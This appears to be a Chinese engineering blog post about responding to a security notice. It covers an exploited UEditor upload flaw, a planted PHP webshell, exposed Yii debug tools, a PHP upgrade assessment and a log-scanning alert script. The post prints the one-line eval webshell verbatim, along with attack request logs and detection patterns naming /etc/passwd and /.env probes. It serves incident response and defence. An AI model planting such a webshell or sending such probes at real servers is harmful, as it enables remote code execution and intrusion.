无尘阁日记

无尘阁日记

从一份 PHP 漏洞通报说起:UEditor 上传、一句话木马与 PHP 8.4 升级评估
2026-10-22

十月的某个上午,我手机上同时弹出几条消息:一条是安全通告的截图,说 PHP 又被曝出严重漏洞、已有攻击者在利用,荷兰、芬兰、法国等多国政府机构紧急下线网站;另一条是 Cloudflare 的股价——因为大量站点转向其防护,股价一路上扬。截图放在这里,算是个引子。

PHP 漏洞通告与 Cloudflare 股价
新闻截图:PHP 被曝严重安全漏洞,Cloudflare 股价应声上涨

这类新闻看多了容易麻木,但同一天我们真的收到了一份编号 20260093 的安全提示函,指名说我们的搜索站存在 UEditor 任意文件上传漏洞。于是有了接下来一整天的排查、整改、评估,以及最后写的一个小工具。这篇就把整个过程完整记下来,既是复盘,也算一份可复用的处置手册。

一、第一现场:UEditor 的任意文件上传

被点名的是搜索服务(docker-zpy-search-v1),对外暴露在 8188 端口。UEditor 是百度的老富文本编辑器,它的 PHP 后端 /statics/ueditor/php/controller.php 支持 action=uploadfile,默认对上传文件类型几乎不设防——这是它十年来最经典的攻击面。

先看日志证据,不猜:

10.10.0.123 - - [10/Oct/2026:03:20:38 +0800] "POST /statics/ueditor/php/controller.php?action=uploadfile HTTP/1.1" 200 141
10.10.0.123 - - [10/Oct/2026:09:15:01 +0800] "POST /statics/ueditor/php/controller.php?action=uploadfile HTTP/1.1" 200 141
10.10.0.123 - - [10/Oct/2026:11:32:05 +0800] "POST /statics/ueditor/php/controller.php?action=uploadfile HTTP/1.1" 200 141

三次请求全部返回 200,落盘了三个 .xml 文件(其实是 SVG 载荷,用于探测外链 DTD/XXE):

1791573638798295.xml   03:20
1791594901945429.xml   09:15
1791603125578830.xml   11:32

也就是说,漏洞不是“可能被利用”,而是已经被利用了。整改必须按“已失陷”的级别来做,而不是“加固一下”。

1.1 顺手挖出的第二个洞:一个活了三年的一句话木马

扫上传目录时顺带扫了整个 web 根,结果在 web/assets/mc.php 发现一个 37 字节的文件:

<?=@eval($_SERVER["HTTP_PHPSPL01T"]);

一个标准的一句话木马,通过自定义 HTTP 头传 PHP 代码执行。文件时间是 2023-10-12 07:57:30,日志里能对上:境外 IP 159.65.54.29 先试探两次 404,第三次 500——那一次正是文件刚被写进去、被 fastcgi 解析的瞬间。

为什么它能活三年?因为配置里明明写了“禁止 /assets 下执行 PHP”:

# deny accessing php files for the /assets directory
location ~ ^/assets/.*\.php$ {
    deny all;
}

但它被放在了 location ~ \.php$ 之后。nginx 的正则 location 是按出现顺序匹配、首个命中即生效,\.php$ 先命中,直接把请求交给了 php-fpm,那条 deny 规则从来没被执行过——一条“看起来在防护”的死规则,比没有防护更危险,因为它会让人以为已经防住了。

1.2 整改动作

没有做“最小改动”,直接一次到位:

  • UEditor 后端接口整体下线:location ^~ /statics/ueditor/php/ { deny all; },同时把前端配置里的 serverUrl 改成 /_ueditor_upload_disabled_;
  • 后端 PHP 目录整体移出 web 根,打包备份到 _disabled/;
  • 上传目录只允许访问已存在的文件:location ~ ^/upload/ { try_files $uri =404; },并禁止解析 PHP;
  • 静态目录禁解析规则上移到 location ~ \.php$ 之前,并返回 404(不给探测者“文件存在”的信号);
  • 隔离 5 个高危文件(木马 + setup-nextcloud.php、install.php、index-test.php、main.php),chmod 000,记录 sha256 清单;
  • 两个 server 段统一加 X-Content-Type-Options: nosniff。

改完立刻复测:接口 403、木马与探测文件 404、正常图片 200、业务页面 200。“漏洞堵了、业务没坏”才是整改完成的判据,只验证前者等于没验证。

二、横向排查:另外三台服务器上也有同类问题

同一个模板部署出来的站点,问题往往是复制的。于是把 pro、ev、ev1st 三台也做了一遍只读扫描(不动任何文件):

  • 三台都没有 UEditor 后端目录,上传卷里也没有 php/xml/htaccess 之类的可疑文件;
  • 但三台都有那条失效的 ^/assets/.*\.php$ 规则(同样的顺序问题);
  • 三台的 web 根都留着 install.php、test.php、main.php、requirements.php、index-test.php,全部可以直接访问,其中 test.php 里还硬编码了调试用的 WebSocket 地址与 uid/name;
  • 不存在的路径(如 /web/uploads/)会被转发到后端,返回 500,等于把“这个路径没有”变成了“这个路径有故事”。

处理方式统一为“隔离而非删除”——移到 web 根之外、chmod 000、留 sha256 清单,需要时一条 cp 就能回滚。

2.1 更严重的一台:gii 和 debug 直接暴露在公网

排查到数据服务那台(docker-zpy-data-service,同样是 8188)时,发现了比上传漏洞更危险的东西:

/gii                     200
/gii/default/login       200
/debug                   200
/debug/default/index     200

原因很“开发”:入口文件里写着

defined('YII_DEBUG') or define('YII_DEBUG', true);
defined('YII_ENV') or define('YII_ENV', 'dev');

而 config/web.php 在 YII_ENV_DEV 下会注册 gii 与 debug 两个模块,allowedIPs 还是 ['127.0.0.1', '*']。gii 是代码生成器,能写文件——等于把任意文件写入摆在了公网上。同时 errorAction 指向一个不存在的路由 site/show-error,导致任何错误都会把完整堆栈(含服务器绝对路径)打在页面上。

修复思路很直接:关 debug、切 prod(gii/debug 不再注册)、把 errorAction 改成真实存在的 site/error、补上静态目录规则与 nosniff、把 web/assets 从 777 收回 755。复测:/gii、/debug、/db.sql、/upload/ 全部 404,首页与业务接口正常。

顺带说一句:这台机器上 /v1/record/list 一直 500,日志是 Class 'app\...\models\Record' not found——控制器从 2021 年仓库初始化起就引用了一个从未提交过的模型文件。补上模型(dataservice2.Record 表,497 条数据)、本地提交并 push,接口恢复 200。这类“死代码”在快速迭代的项目里很常见,平时不报错,一被扫到就是 500。

三、整改完了,真正的难题才开始:PHP 7.1 要升到哪

排查过程中不断被同一个事实硌到:生产环境跑的是 PHP 7.1.33(2020 年镜像),而 7.1 早在 2019 年底就停止安全支持了。这次通报正好是个契机,于是做了一次完整的升级评估——目标两个:过渡版本 7.4,目标版本 8.4。

3.1 现状盘点

  • 基础镜像:zpy_php_fpm:v1.0.2-20220823,构建自 CentOS 7.8.2003(已 EOL),remi 源装 PHP 7.1.33;
  • 业务端:1070 个 PHP 文件、32.6 万行,Yii 2.0.25(2019 年);
  • 后管端:143 个文件、2.75 万行,Yii 2.0.42.1;
  • 34 个扩展,其中三个需要在升级时特别注意:mcrypt(7.2 移除)、recode/wddx(7.4 移除),以及一个自研的 SM4 加密扩展。

3.2 四个硬阻塞

  1. 自研扩展编译不过。zhipingyun.so 是用 PHP-CPP 2.1.1 写的(导出 myFunction()/myFunction1(),负责手机号与 env 配置的 SM4 加解密)。PHP-CPP 不支持 PHP 8,必须用 Zend API 重写外壳,算法核心可以复用。调用点有 8 处,其中解密路径是“不能失败”的路径。
  2. 框架太旧。Yii 2.0.25 对 PHP 8.4 完全没有准备,至少要 2.0.53;连带 queue/redis/debug/gii、swiftmailer(已停更,得换 symfony/mailer)、PhpSpreadsheet 1.9(要升 2.x)、mdmsoft/yii2-admin(无 PHP 8 维护)都要动。
  3. 基础 OS 与 OpenSSL 太旧。CentOS 7 + OpenSSL 1.0.2 不支持 SM4;若想用 openssl_encrypt('sm4-cbc') 替代自研扩展,必须换到 Rocky/Alma 9 或 Debian 12。
  4. 三个扩展被移除。mcrypt 的调用点集中在 AES.php,而全仓检索发现这个类根本没有调用方,可以直接删。

3.3 代码级清单(部分)

modules/api/common/AES.php                    25-40    mcrypt_*(9 处,类无调用方 → 删除)
.../controllers/FormConfigurationController.php  721    implode($vv, ',') → implode(',', $vv)
.../watermark/libpfi/fpdi.php                   435    each() → foreach
.../watermark/fpdf/fpdf.php                    1044    set_magic_quotes_runtime() → 删除
.../watermark/fpdf/makefont/makefont.php        388    同上
.../watermark/fpdf/fpdf.php       235/241/247/253/259/1171    utf8_encode() → mb_convert_encoding()

再往下是 PHP 8.x 的行为差异,这部分没有语法错误、只有“线上才炸”:PDO 从 8.1 起返回原生类型(整型不再是字符串,项目里大量 === 比较会翻车)、未定义变量从 Notice 变 Warning、向非空参数传 null 触发弃用、动态属性在 8.2 弃用,以及 8.4 新增的“隐式可空参数”弃用(项目 10 处、vendor 411 处)。

3.4 工期结论

7.4 是低风险过渡:主要是重建镜像、重编扩展,代码只改 4 个文件、11 行,约 11 人日。
8.4 是重大迁移:43 人日,单人约 8.5 周,两人并行约 4.5 周。

建议路径是先做 7.4 摆脱“7.1 已停止支持”的合规风险,同时把自研扩展的编译链摸清;再把 8.4 拆成“扩展重写 + 框架升级”两个独立里程碑推进。不要把版本升级和运行时更换放在同一个窗口——两个高风险变更叠加,出问题连定位都做不到。

四、还要不要 php-fpm?要不要上 Swoole?

评估过程中有人问:“是不是该转常驻内存、异步开发了?php-fpm 太老了。”这个问题值得认真回答,但答案不是“换”或“不换”。

先看事实:我们的 WebSocket 推送服务早就是常驻内存了——php modules/api/common/push.php start,Workerman 的 master/worker 进程,websocket://0.0.0.0:5001。所以“常驻内存”不是没用上,而是只用在长连接场景,这与业界做法一致。

再看收益结构。一个 Yii2 请求的耗时大概分三块:框架 bootstrap(15–30%)、业务与模板/Excel/PDF(30–50%)、DB 与外部 IO(30–50%)。换成常驻内存运行时,能省的主要是第一块;如果瓶颈在 SQL 和报表生成,换运行时的收益不到 15%。

路线Yii2 兼容迁移成本适合
php-fpm + PHP 8.4(JIT)原生极低现有全部业务 ← 选它
FrankenPHP / RoadRunner(worker 模式)基本可用,需每请求重置 Yii::$app中想拿免 bootstrap 收益又不想重写
Swoole / Hyperf不兼容≈重写全新服务
Workerman仅长连接脚本已用WebSocket / 推送

为什么 Yii2 不能直接上 Swoole?因为 Yii::$app 是单例、Request/Response 是组件实例、大量静态属性与全局状态。协程并发下这些状态会跨请求串数据,表现为“A 用户看到 B 用户数据”这种最难排查的故障。Yii 官方没有 Swoole 适配,社区方案维护度都很低——把它协程化,成本约等于重写框架层,比升级 8.4 本身更贵。

所以结论是:主 HTTP 继续 php-fpm(升到 8.4 + JIT + 调优),常驻内存用在已有的 Workerman 推送和新增的队列 worker 上;如果一定想让 HTTP 也常驻,选 FrankenPHP(几乎不改代码),Swoole 留给未来的新服务。

比换运行时收益更大的,其实是两件事:把报告生成、批量导出这类重接口异步队列化(已有 yii2-queue,扩 worker 就能横向扩容);以及在 fpm 模型下补上数据库连接池(ProxySQL 之类)——连接数才是 fpm 架构的硬瓶颈。

五、最后写了个小工具:被扫描时自动发邮件

整改完了,仍然会有人隔三差五来扫。日志里统计了一下:最近 303 万行访问日志中,fckeditor 相关探测 7847 次、ueditor 1588 次、uploadfile 107 次。既然拦不住别人扫,至少要知道“什么时候被扫了”。

于是写了个 bash 脚本挂在 cron 上,每 5 分钟增量读取 nginx 访问日志(记录字节 offset,日志轮转自动重置),命中下列规则就累积:

ueditor/php/controller | action=uploadfile
/assets/*.{php,phtml,phar}      # 静态目录投马
/upload/*.{php,phtml,phar,xml,svg}
fckeditor | PHPSPL | /etc/passwd | /.env | /wp-login.php | /phpmyadmin

为避免被扫描器刷爆邮箱,做了 30 分钟合并窗口:窗口内所有命中合并成一封邮件,正文包含命中次数、来源 IP TOP8、最近 8 条原始请求行。发信走企业邮箱 SMTP(smtps://smtp.exmail.qq.com:465,curl 直接发),凭据不落盘——每次运行时从容器内解密 zpy_env.ini 取出来,用完即弃。

CROND[1121881]: (root) CMD (/data/zpyenv/scripts/scan_alert/scan_alert.sh)
MAIL SENT -> ... | [安全预警] dev4 疑似漏洞扫描 3 次 10-22 10:59

验证方式是“自己打自己”:手动请求三个攻击路径,脚本准确抓到 3 条并发出告警。这类工具的价值不在于多先进,而在于把“被动等通报”变成“主动感知”。

六、这次排查沉淀下来的几条经验

  1. 别信“写了规则”,要信“规则生效了”。nginx 正则 location 是顺序匹配,\.php$ 放前面会让后面所有针对 php 的 deny 全部失效;改完必须用真实请求验证。
  2. 漏洞要按“已利用”处置。日志里出现 200 与落盘文件,就不是加固,是应急响应。
  3. 同模板部署的机器要一起查。一处踩坑,三处同款。
  4. 隔离优于删除。移出 web 根 + chmod 000 + sha256 清单,可回滚、可追溯。
  5. 开发模式千万不要上生产。YII_DEBUG=true + YII_ENV=dev 直接把 gii(可写文件)和 debug(泄露 SQL/配置)摆到公网。
  6. 错误页也是攻击面。一个不存在的 errorAction 就能让所有 404 变成带绝对路径的 500。
  7. 版本升级要算“行为差异”,不是只算语法错误。PDO 返回原生类型这一条,足够让一批接口悄悄出错。
  8. 换运行时之前先压测。先搞清楚 p95 花在框架、SQL 还是文件,再决定要不要常驻内存。

安全和升级这两件事,本质上是同一件事:把“不确定”变成“已知”。通报只是提醒,真正的功夫在平时的日志、配置和版本管理里。

——写于 2026 年 10 月,一次普通的周四。